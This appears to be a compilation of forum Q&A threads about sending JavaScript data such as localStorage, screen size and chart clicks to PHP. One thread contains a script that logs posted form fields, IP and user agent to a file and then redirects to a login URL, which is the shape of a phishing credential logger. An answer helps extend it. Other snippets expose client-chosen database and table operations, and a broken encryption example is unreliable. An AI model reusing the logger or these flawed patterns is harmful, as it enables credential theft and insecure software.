Recently I have been doing a lot of work in PHP and I have become familiar with how it works. I stand by what I have said before; That every problem has an endless amount of solutions. So that is what I am after, solutions that solve the same problem.
In this case, I want variables/references to values from localstorage:
localStorage.setItem("user", "bananaflakes55");
localStorage.getItem("user");
and directly include them in PHP files. Now I have found out that using echo have a variety of uses, for example:
echo '<script type="text/javascript"> window.location.replace("' . $refclinklogin . '"); </script>';
Granted that the value there are on serverside -> client side. In this case I want similar solutions that necessarily wont require me to create a GET or POST, with HTML elements like forms, that connect these.
To sum up, I want solutions that can bring values from local and session storage, to PHP. Bring forth some funky ideas, if possible. From what I have read it is a tricky one.
Even if i understand what you want, process sould be running from PHP to client rather than the reverse.
With this in mind, a light solution can be something like that :
window.addEventListener("load", function() {
let request = new XMLHttpRequest();
request.open("POST", 'localStorageToSession.php', true);
request.onload = function () {
let saveResponse = request.responseText;
// if you want a callback or use some script return
}
let data = "jsonLocalStorage=" + JSON.stringify(window.localStorage);
request.send(data);
}) ;
Once the page is loaded, send all localStorage parsed in json to a PHP treatment (here called localStorageToSession.php).
So you can convert localstorage as $_SESSION. Something like that :
$_SESSION['jsLocalStorage'] = json_decode($_POST['jsonLocalStorage'], true) ;
Then you can use $_SESSION['jsLocalStorage'] in your backend treatments. Don't forget to add session_start() on all your files.
You can save the xml request in a function and call once localStorage is updated).
Even if that solution works, i don't recommand it if you have to deal with safety informations like passwords or user special access.
Related
I asked this question a while ago and I deleted that question because I though I found the appropriate method to solve my issue.
I'm making a website which works with lots of XMLHttpRequest. I need to send the user_id of the logged in client to a php file located elsewhere which will send sql statements to the database, and return the information according to the logged in client. I do not have any knowledge of security. I only have little knowledge of sql and php. So I want to make my website secure, so I need some advice on security and the appropriate way to send user_id via to the php file.
Or does it even matter if the user_id is being shown on the client side. And also I'm storing the unique user_id of the client in the $_SESSION only, nothing else.
I have made my login/sign-up system entirely using this source = https://www.youtube.com/watch?v=xb8aad4MRx8&t=674s
index.php:
<?php
session_start();
?>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>TEST</title>
</head>
<body>
<?php
if (isset($_SESSION['user_id'])) {
echo ('<button>CLICK TO GET INFO IN CONSOLE</button>');
} else {
header ("Location: login.php");
exit();
}
?>
<script>
var user_id = <?php echo($_SESSION['user_id']);?>;
document.querySelector("button").onclick = function() {
var xhr = new XMLHttpRequest();
var url = "http://URL_OF_A_PHP_FILE_LOCATED_IN_A_DIFFERENT_LOCATION";
xhr.open("GET", url + "?user_id=" + user_id + "&var_1=val_1&var_2=val_2&var_3=val_3");
xhr.onload = function() {
console.log(JSON.parse(xhr.responseText));
}
xhr.send(null);
}
</script>
</body>
</html>
You don't have to use javascript to share information between PHP files (even if on separate servers).
$_SESSION is used explicitly to keep data between pages and you should handle it within them as such.
If you have to send user_id to a file on a different server, it's advised to do it inside of your PHP files and not Javascript (which is clientside and thus very prone to be abused).
You could simply use curl to perform a HTTP POST request.
First off, I will assume that you are rather new to PHP, and that is for a very specific reason: $_SESSION is meant to be a server-side storage, and should not go to the client, at any time. Because you may store sensible data in a session, which you do not want to transmit over the network, especially since you dont want any unprevileged person to sniff the data and eventually leave yourself wide open for an RCE (Remote Code Execution) or SQL Injection attack.
When you look at individual values however, that is a little bit of a different story. A User ID can be used - but what if I ran a generator attack against this page with a range of 0 to 100 with each and every of those numbers being used as an ID? You need to consider this at any given time. It is very important.
Now - to actually answer your question.
First, there are two approaches you can take: Actually and really turning over the User ID, as long as you are sure that this ID can not be used for malicious attempts OR you can use Cookies with encrypted values - or, encrypt the cookies in general.
For option one, you'd do this:
var user_id = <?=json_encode($_SESSION["user_id"])?>;
This will encode your user_id into JSON (JavaScript Object Notation) - which essentially is valid JavaScript, per-se. Therefore, if $_SESSION["user_id"] happens to be an integer like 1, the result would look like this:
var user_id = 1;
The second option of using encrypted cookies is a little bit, if not much trickier but also much more secure. Consider this:
<?php
$salt = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
$cipher = "AES-128-CTR";
function encryptValue($value) {
$secret = "..."; // See below
$encryptedValue = openssl_encrypt($value, $cipher, $secret, 0, $salt)
. "::" . bin2hex($salt);
return $encryptedValue;
}
function decryptValue($value) {
list($encryptedValue, $salt) = explode("::", $value);
return openssl_decrypt($encryptedValue, $cipher, $secret, 0, hex2bin($salt));
}
?>
(Resource: https://www.the-art-of-web.com/php/two-way-encryption/ )
Now, this is a very, very simplified encrypt/decrypt mechanism based on the OpenSSL extension and it will essentially encrypt values for you - and decrypt them. The important part is the $secret. This is your encryption "password" that is being used to obfuscate what the user gets to see. Because basically, avoiding attacks starts by making it impossible to decipher what the values being sent to the server actually mean. In a production environment, at least. In development, you may actually leave this as clear-text - but that is a different topic.
So, now with those two functions available, you can do this:
<?php
$value = null;
if(array_key_exists("user_id", $_COOKIE)) {
// The user has previously been assigned a `user_id`.
$value = decrypt($_COOKIE["user_id"]);
} else {
// The user is possibly visiting for the first time, so they have no ID.
$value = get_user_id_from_somewhere();
}
?>
Now you will have a $value containing either a fresh ID or one that had been sent beforehand.
But now you need to send this value to the client so it can be used in a XHR request. Well, you will need to set the cookie first. Once done so, you can take the example from the first option and do this:
var token = <?=json_encode(encrypt($_COOKIE["user_id"]))?>;
And with "something" I really mean it - the way you get to your encrypted token is up to you :)
Next, you may want to use it to send a XHR request, so you will need to encode it for a URL. You can even use this right away and save the token variable alltogether with something like:
var url = "http://example.com/other.php?token=<?=urlencode(encrypt($_COOKIE["user_id"]))?>";
To access that URL parameter, use $_GET["token"] in other.php and decrypt it with the function from above (or with any other you come up with, really).
So which option should you choose in which case?
- If you transfer data to your client which you are very sure can not be exploited and is safe for them to know about, use json_encode and the raw variable from $_SESSION. Keep in mind, that session variables are meant to be private to the server. In fact - PHP will actually send a PHPSESSION cookie to the client, which uses such a hashed, almost encrypted-looking string, in order to identify the visitor on subsequent requests.
- If you transfer data which you definitively do not want the client to see or even know about, encrypt it. The fewer the client knows about your business logic (contents of your scripts), the lower are the chances for an attack.
Also: Never trust a user, ever. This is very much an unwritten and yet golden rule. If you are not sure, then go with the most secure method you have at hand. Only if you are very, very sure, send values in a raw format to them - which they will be able to read in all their plain glory.
A little side-note to json_encode: You can also encode an entire array as well: json_encode(["foo"=>"baz"]) will become: {"foo":"baz"}, which is valid JSON, and JavaScript too.
Thus, one more side-note: If you haven't already, use PHP's official manual and start embracing Composer. You can find many, many useful tools there which can make your live as a PHP dev much easier.
I know this is a long answer, but I only mean well =) Good luck with your app!
First: I KNOW this is a duplicate. I am creating this because none of the answers to all the other questions satisfy me. I have a very particular situation where I'm using yii and tryi I can't send it through ajax because the php and javascript are on the same page on the same page.
Basically what I'm asking is if you have a page that uses yii and chart js, and you need to render a page that requires two arguments from the clicked bar, which is represented by activeBars[0]:
<script>
canvas.onclick = function(event) {
var activeBars = getBarsAtEvent(event);
<?php $controller->functionThatRendersView($arg1 /**(activeBars[0].value*/,$arg2 /**(activeBars[0].label*/); ?>
}
I don't care if it will render automatically, that is another problem. I just need to get those arguments to the php.
Thanks.
Also, if it helps, I am passing those two values to javascript through php for loops:
labels: [<?php for ($i=1;$i<=$numberIssues;$i++) {
echo $i . ",";
}?>],
The problem with grabbing $i and putting it into the label argument is that I don't know which bar label is the clicked one, I need javascript to pass the clicked bar values back to php.
Explain to us again why you can't use ajax. You say "because the php and javascript are on the same page". That's not what ajax is - you need a different URL for the ajax request, and a separate PHP file or something to handle it.
Without ajax it's impossible for javascript to send information to PHP, because the PHP runs on the server before the javascript runs on the client. Unless of course you want to do a complete page refresh, which is slower and generally worse from the user perspective.
I found an answer to my question! I'm just doing this for anyone else who is stumbling:
To pass javasctipt variable var jsInteger = 5; to php you type (in javascript):
window.location.href = "yourPhpFile.php?phpInteger="+jsInteger;
You access the variable in php like so:
$phpInteger = $_GET['phpInteger'];
This will require a page refresh, and will redirect you to the php file.
I have an existing piece of code which I use to log certain data to a text file:
<?php
header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
$handle = fopen("file.txt", "a");
$post = $_POST;
$post['IP'] = $_SERVER['REMOTE_ADDR'];
$post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
$post['Referrer'] = $_SERVER['HTTP_REFERER'];
$post['Date&Time'] = date("l jS \of F Y h:i:s A");
foreach($post as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, PHP_EOL);
fclose($handle);
exit;
?>
I also want to record the screen resolution but apparently, there is no way to do this and is only possible with JS:
var screenWidth = window.screen.width,
screenHeight = window.screen.height;
So how do I get this info to be recorded in the same file?
PS: I cannot use jquery... :(
*****EDIT*****
Ok, I can use JQuery but the output still needs to be in the same text file...
You can't, at least at the same time.
While your php is executing, your page is still pending to be send to the client (or it is in process to do).
Your javascript will be executed while the page is loading in client side and there is no chance to act over browser's http connection to your server.
So, if you want to get this data in server side, you should send it via ajax to some script that receive it.
Ok. It could modify same file. But be careful to not overlap your other script execution so you could end up with unexpected result.
Also take in mind that you can't be sure that client will effectively execute your javascript or even could it complete ajax connection to send you that information so you need to be perepared to have incomplete registers.
One way that comes to mind, is instead of having your existing code in the page the user lands on, have a new file with the Javascript, which like you already know can get the resolution.
Then, have that new initial page POST the resolution variables to your php script in the background, then the resolution variables will be part of the POST array and can store them with the rest of your existing POST data.
POST'ing data using Javascript is fairly routine, and would probably be it's own topic, but I'm sure you could find unlimited examples around the web, JQuery does do it with less code, but too bad that's not an option :(
Edit: Example below is posting to the php using jQuery
Make new "landing.php" (doesn't have to be .php, could be .html) or what ever name you want, and have this be where the user lands first, and put this in it. It could be an existing page that your user might already land on, in which case just put this in the bottom. Then it will happen in the background while the user goes about their business.
<script type="text/javascript">
var screenWidth = window.screen.width,
screenHeight = window.screen.height;
$.post('name_and_path_of_php_file_you_already_created.php', {
screenWidth: screenWidth,
screenHeight: screenHeight
}, function(data) {
// Can do something extra here, most likely redirect your
// user to a more meaningful page after the file is created
// using something like.
window.location.href = 'some_meaning_page.php';
// Also in this case, 'data' variable will hold anything
// Outputted from the PHP if any, and is optional, but can
// be useful for echo'ing out some status code or something
// and make a decision.
});
</script>
Because your existing php script already loops through the $_POST array ($post in your case) and makes key/value pairs, then this means the 'screenWidth' and 'screenHeight' key/values will be automatically added to the file with your other variables.
If you are able to add this to an existing page you know the user is landing on, then you probably don't need to redirect with the 'window.location.href', but if it's the first page, then they wont see anything, and you would want to redirect them to some content, and to them it would happen so fast they wouldn't really know they were on one page and sent to another, it would just look like the page they went to was loading normally.
Let me know if this is not clear, or if need help with another aspect.
I've been doing something this at the bottom of all my views:
<script type='text/javascript'>
$.post('php/ajax.php', {type:'session'}).done(function(data){
var session = JSON.parse(data);
$(document).ready(function(){
$.getScript('resources/redactor/redactor.js');
$.getScript('javascript/year_long_calendar.js');
$.getScript('javascript/edit_lesson_modal.js');
});
});
</script>
This works really well for me. All my scripts get loaded inside of a single docReady, and all my ajax requires a token that gets generated upon login and stored in $_SESSION. This stops people from hitting my ajax logic using fake headers. By doing this, my ajax calls look something like:
$.post(url:'ajax.php', {token:session.token, id:id}).done(function(data){ ... });
I can also access other session variables
var user_id = session.user_id;
Since I've been doing this from the start of the project, I intentionally keep any sensitive information like passwords out of the session variable. What are your thoughts on this? Does any of this strike you as insecure, or terribly inefficient? I realize $.getScript is often used as a lazy way to load libraries, but I think I've found a pretty valid use for it.
None of the data in $_SESSION is sensitive except the token, and you have to be logged in to get one. Unless someone malicious hops on a machine while the real user is away and knows exactly where my ajax logic is, how it works, how I store my session, and fakes a quick header on PostMan to delete all my tables, I don't see it being an issue.
EDIT:
#AnotherGuy helped me realize a much better solution. My ajax.php file now looks like this:
<?php session_start();
include('connect.php');
include('functions.php');
// check to see if http request is ajax (easy to fake but hey might as well)
if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'){
// when the user logs in, a random number is generated and saved to $_SESSION['token'].
// this block is used to pass the token to a javascript variable securely
if($_POST['type'] == 'session'){
$session = [
'token'=>$_SESSION['token'],
'user_id'=>$_SESSION['user_id']
];
echo json_encode($session);
}
// all post requests must pass the correct token variable to step into this block and access the ajax logic
if(isset($_POST['token']) && $_POST['token'] == $_SESSION['token']){
if($_POST['type'] == 'get'){
$where = null;
if(isset($_POST['where'])){
$where = json_decode($_POST['where']);
}
$order_by = null;
if(isset($_POST['order_by'])){
$order_by = json_decode($_POST['order_by']);
}
echo json_encode(get($_POST['db'], $_POST['table'], $where, $order_by)->fetchAll());
}
if($_POST['type'] == 'put'){
$set = json_decode($_POST['set']);
echo put($_POST['db'], $_POST['table'], $set);
}
if($_POST['type'] == 'update'){
$set = json_decode($_POST['set']);
$where = json_decode($_POST['where']);
update($_POST['db'], $_POST['table'], $set, $where);
}
if($_POST['type'] == 'delete'){
$where = json_decode($_POST['where']);
delete($_POST['db'], $_POST['from'], $where);
}
From how you describe you are using the session I cannot see any harm in it, but I still think it is dangerous. Imagine you in the future work on another project and then come back to this. Will you still remember not to store any sensitive information inside the session? As a basic rule of thumb is to never store sensitive information in the session unless it is the only solution, which it rarely is. But sometimes mistakes are made and they can hurt you!
I would change this to something that looks/works in the same way, but offers you more decoupling from the session. If you are fetching the entire session you are bound to retrieve some information which would never be used or should never be available to client side (through Javascript). I would create a single page that you request which can only provide the necessary information. That way you can also ensure only required information is exposed to the client side.
So instead of requesting a generic ajax.php file, I would create a page called (or something like it) userInfo.php. That way you can also eliminate the type variable you send along with it.
Hope this can help you, happy coding!
You could store that session data in browser with sesssionStorage in a serialized JSON string and manipulate it from there. Many recommend this approach over using cookies W3Schools
Cheers.
I am trying to save a string that is created dynamically based on the user's interaction with the web app that I'm creating. just a string. nothing special. I am using ajax to send the string up to the server, and it seems that it is getting as far as the file_put_contents function I am using, but it seems to go haywire. It makes the txt file, but it does not put anything in it, and it does not send back q, the variable that I have it echo back.
Another weird thing is that when I try to write to said file with this
file_put_contents($putStringHere, $q);
I also tried this one:
file_put_contents($putStringHere, "$q");
The file always says that this happened:
modified: Today, Now (last time I ran the function)
Last Opened: Today, 5 minutes ago... last time I opened the file by hand
This would make sense, except for the fact that the function above contains fopen, fmodify, fclose, or whatever they're called. And the modified set to the last time I ran the function... I am super confused on this one. anyone who can help, I will greatly appreciate it.
ajax that sends string (yes, i made sure it was a string)
//ajax for saving changes
function stylesheetBackup(str){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","stylesheetBackupFile.php",true);
console.log("q="+str);
xmlhttp.send("q="+str);
}
also tried ajax with
xmlhttp.open("POST","stylesheetBackupFile.php",true);
xmlhttp.send();
php that I call with ajax
<?php
//get the q parameter from URL
$q = $_POST["q"];
$putStringHere = "savedStyleSheet.txt";
//output the response
echo $q;
//save to a backup file
file_put_contents($putStringHere, $q);
?>
You have a mis-match:
xmlhttp.open("GET"...
and
$q = $_POST["q"];
Here's two things that might help fix your problem:
In the AJAX request, you specify that it's a GET request. However, in your PHP file, you're trying to get the q value of $_POST. Try $_GET['q'] instead.
I'm not sure you're able to send your GET data using xmlhttp.send. Try adding it to your URL, as in xmlhttp.open("GET", "stylesheetBackupFile.php?q=" + str, true).